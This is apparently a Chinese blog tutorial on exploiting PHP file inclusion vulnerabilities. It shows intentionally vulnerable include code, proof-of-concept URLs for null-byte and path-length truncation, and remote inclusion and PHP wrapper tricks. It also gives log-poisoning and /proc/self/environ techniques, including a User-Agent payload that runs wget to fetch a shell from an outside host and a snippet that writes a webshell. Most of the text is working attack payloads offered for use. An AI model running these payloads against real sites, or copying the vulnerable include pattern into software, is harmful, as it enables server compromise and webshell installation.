文件包含漏洞的利用

1.   本地包含
1.1普通本地包含
只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行
测试代码:
        <?php  include_once($_GET['f']); ?>

POC

        http://127.0.0.1/test/123.php?f=test.txt 
1.2截断本地包含
因为服务器代码规定了后缀,所以不能为所欲为的包含文件。
  ①、%00截断(在Magic_quote_gpc为off的情况下才可以使用)
      利用方法就是这样:
        http://127.0.0.1/test/123.php?f=test.txt%00 
  ②、长文件名截断(因为windows和linux的文件名长度是有限制的,超过其长度的会被忽略)
      通常情况下windows的截断长度为260,linux的长度为4096,这一不用在意具体长度,只要把需要截断的字符串挤到后面就可以了,windows在文件名后加/.  或 \.都是可以的。
测试用的代码:
    <?php 
        // 1. 初始化 
        $ch = curl_init(); 
        // 2. 设置选项,包括URL 
         
        $a=''; 
        for($i=0;$i<126;$i++){ 
            $a .= '/.'; 
        }    
        $url="http://127.0.0.1/test/123.php?f=test.txt".$a; 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4"); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true); 
        // 3. 执行并获取HTML文档内容 
        $output = curl_exec($ch); 
        // 4. 释放curl句柄 
        curl_close($ch); 
    ?> 
测试代码:
        <?php  include_once($_GET['f'].".php"); ?>
POC
        http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````

2.   远程包含
必须是allow_url_include=On的时候才能使用,不过他在默认情况下是关闭的
2.1普通远程包含
      http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt 
      用法和本地包含一样,只需要把本地路径换成url即可
2.2截断远程包含
url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
        http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
        http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
POC
这几个POC大多都与PHP的wrapper有关,详情可以看这里
        http://www.php.net/manual/en/wrappers.php.php
涉及到allow_url_fopen 和 allow_url_include 这两个设置,后者php.ini里面没有,需要自行添加。

详细设置在这里
        http://php.net/manual/zh/filesystem.configuration.php
        data://  或者 php://input 可以在这allow_url_include关闭的情况下包含自定义数据,不过两种方法只在5.0以下是有效的,之后的版本include就会报错了,比较可惜。
①、普通利用
        ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 
        (需要 allow_url_fopen=On 和 allow_url_include=On) 
②、php://input
这个是php的输入流,可以读到没有处理过的POST数据,这样测试时的确可以取到完整的POST数据。
        $raw = file_get_contents('php://input','r'); 
        echo $raw; 
这样在allow_url_include=Off会报错了
        include_once("php://input");
③、php://filter
利用主要是利用了resource和vonvert,这样可以读取到php的代码。
        @readfile("php://filter/convert.base64-encode/resource=test.txt");
这样也是可以的
        @readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的状况和php://input类似
④、data URIs
情况和以上两种一样,在低版本才能发挥效果
        echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); 
        include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
⑤、php://fd
这个在5.3.6中增加的新wrapper,据说可以绕过allow_url_include进行包含。

3.   全局变量覆盖型包含
3.1利用技巧
(1)Apache错误日志上传一句话
这个技巧解决了,本地包含不能上传马的问题,还是利用熟悉的Apache错误日志。
①、首先在配置文件中找到Apache日志的存放目录ErrorLog ../logs/apache_error.log
        http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
②、之后构造一个错误的访问,使其被记录到日志中,这里注意浏览器会自动给url里面的字符编码,这里需要用其他方式模拟提交。
        http://127.0.0.1/test/<?php echo hacked ?>
③、最后包含日志文件,之前写入的php代码就会被执行
    有的时候日志文件太大导致页面无相应,可以写入这一句,实际写入时不要忘记加转义符
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<span style="font-family: Arial, Helvetica, sans-serif;"><?php echo hacked ?></span><span style="font-family: Arial, Helvetica, sans-serif;">");fclose($fp);?></span> 
    之后包含日志文件,一句话就被写到了/www/shell.php这个目录
(2)Linux环境变量包含一句话
原理是包含/proc/self/environ,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的,所以说想个办法修改user-agen,比如修改成
        <?system('wget http://81sec.com/shell.txt -O shell.php');?> 
然后提交一个,包含/proc/self/environ的请求就可以了。

版权声明:若无特殊注明,本文为《Chin》原创,转载请保留文章出处。
本文链接:https://www.qinor.cn/post-33.html
正文到此结束

热门推荐

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗 胜利 不高兴 阴险 乖 酷 滑稽

评论信息框
可使用QQ号实时获取昵称+头像

私密评论

吃奶的力气提交吐槽中...


既然没有吐槽,那就赶紧抢沙发吧!